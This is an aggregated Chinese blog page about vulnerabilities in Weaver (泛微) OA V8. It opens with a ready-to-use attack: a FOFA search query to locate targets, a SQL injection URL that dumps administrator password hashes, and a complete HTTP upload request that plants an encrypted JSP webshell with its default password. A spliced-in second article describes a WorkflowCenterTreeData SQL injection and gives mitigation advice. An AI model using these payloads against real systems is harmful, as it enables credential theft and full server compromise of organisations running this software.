泛微OA V8 SQL注入漏洞和文件上传漏洞

Posted 小生迷途知返

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了泛微OA V8 SQL注入漏洞和文件上传漏洞相关的知识,希望对你有一定的参考价值。

fofa语句

app="泛微-协同办公OA"

SQL注入

在泛微OA V8中的getdata.jsp文件里,通过gatData方法将数据获取并回显在页面上,而在getData方法中,判断请求里cmd参数是否为空,如果不为空,调用proc方法。其中它存在四个参数,分别为空字符串、cmd参数值、request对象以及serverContext对象,通过对cmd参数值进行判断,当cmd值等于getSelectAllId时,再从请求中获取sql和type两个参数值,并将参数传递进getSelectAllIds(sql,type)方法中,从而在前台构造POC语句:

http://xxx.xxx.xxx.xxx/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20password%20as%20id%20from%20HrmResourceManager

访问存在漏洞的网站:http://x.x.x.x/login/Login.jsp?logintype=1,其中该特征属于泛微OA v8系统

通过sql注入获得密码

http://x.x.x.x/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20password%20as%20id%20from%20HrmResourceManager

得到密码之后MD5解密

账号一般是

sysadmin

文件上传

漏洞位于: /page/exportImport/uploadOperation.jsp文件中

Jsp流程大概是:判断请求是否是multipart请求,直接上传。

重点关注File file=new File(savepath+filename),

Filename参数,是前台可控的,并且没有做任何过滤限制

然后请求 然后请求路径:
page/exportImport/fileTransfer/1.jsp

POST /page/exportImport/uploadOperation.jsp HTTP/1.1

Host: xxx.xxx.xxx.xxx

Content-Length: 397

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Edg/89.0.774.68

Origin: null

Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6XgyjB6SeCArD3Hc

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

dnt: 1

x-forwarded-for: 127.0.0.1

Connection: close

------WebKitFormBoundary6XgyjB6SeCArD3Hc

Content-Disposition: form-data; name="file"; filename="demo.jsp"

Content-Type: application/octet-stream

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoaderU(ClassLoader c)super(c);public Class g(byte []b)return super.defineClass(b,0,b.length);%><%if (request.getMethod().equals("POST"))String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

------WebKitFormBoundary6XgyjB6SeCArD3Hc--

地址: /page/exportImport/fileTransfer/demo.jsp

默认密码 rebeyond

网站安全测试与检测中 发现的OA系统中的SQL注入漏洞

网站安全测试与检测中 发现的OA系统中的SQL注入漏洞

分类专栏: ***测试 网站***测试 网站安全漏洞检测 文章标签: 网站安全检测 网站漏洞修复 网站安全维护 网站***测试 网站安全扫描
版权

近日,SINE安全监测中心监控到泛微OA系统被爆出存在高危的sql注入漏洞,该移动办公OA系统,在正常使用过程中可以伪造匿名身份来进行SQL注入***,获取用户等隐私信息,目前该网站漏洞影响较大,使用此E-cology的用户,以及数据库oracle都会受到该漏洞的***,经过安全技术的POC安全测试,发现漏洞的利用非常简单,危害较大,可以获取管理员的账号密码,以及webshell。
技术图片

该OA系统漏洞的产生原因主要是泛微里的WorkflowCenterTreeData接口存在漏洞,在前端进行提交参数过程中没有对其进行安全效验与过滤,导致可以插入oracle sql语句拼接成恶意的注入语句到后端服务器中去,造成sql注入***对数据库可以进行增,删,读,获取用户的账号密码,目前的安全情况,泛微官方并没有对该漏洞进行修复,也没有任何的紧急的安全响应,所有使用泛微的E-cology OA办公系统都会受到***。

技术图片

什么是泛微OA系统?简单来介绍一下,该系统是以公司办公为核心,提供快捷方便的办公网络,所有的公司办公都在泛微OA系统上实现,大大的提高办公效率以及沟通效率,可视化,电子合同,电子盖章,存证,身份安全认证,语音话,协同办公,给公司的运营带来了极大的方便。该OA系统版本覆盖70多个行业,根据行业属性量身定制,还可以APP端协同办公。泛微OA系统采用JAVA+oracle数据库架构开发,国内使用该OA网站系统的公司达到上万家,广东省使用该系统的公司数量最多,紧跟其后的是四川省,再就是河南省,上海市等地区。
技术图片

网站漏洞POC及网站安全测试

我们来看下WorkflowCenterTreeData接口的代码是如何写的,如下图:当这个接口从前端接收到传递过来的参数的时候,没有对其进行详细的安全检测与过滤导致直接可以插入恶意的SQL注入语句拼接进来,传递到服务器的后端执行,导致网站sql注入漏洞的产生。可以查询当前网站的OA系统管理员账号密码,通过解密可以登录后台并直接操作后台系统,查看公司的办公情况,用户的数据可导致被泄露,严重的可以在后台上传webshell,也就是网站***文件,获取linux服务器的权限。

关于该泛微OA网站漏洞的修复与建议:

技术图片

目前官方还未发布网站漏洞补丁,建议网站运营者对get,post方式的提交做sql注入语句的安全检测与拦截,可以部署到nginx,以及apache前端环境当中,或者对WorkflowCenterTreeData接口的代码进行注释,停止该接口的功能使用,对网站后台地址进行更改,如果对代码不是太懂的话也可以找专业的网站安全公司来处理,国SINESAFE,启明星辰,绿盟都是比较不错的安全公司。也可以对网站的管理员账号密码进行更改,以数字+字母+大小写等组合10位密码以上来防止该网站漏洞的***。

以上是关于泛微OA V8 SQL注入漏洞和文件上传漏洞的主要内容,如果未能解决你的问题,请参考以下文章

网站安全测试与检测中 发现的OA系统中的SQL注入漏洞

漏洞复现-通达OA

泛微OA系统多版本存在命令执行漏洞

小白科普Web安全基础之SQL注入XSS文件上传漏洞详解

对某OA系统后台的一次sql注入漏洞挖掘

对某OA系统后台的一次sql注入漏洞挖掘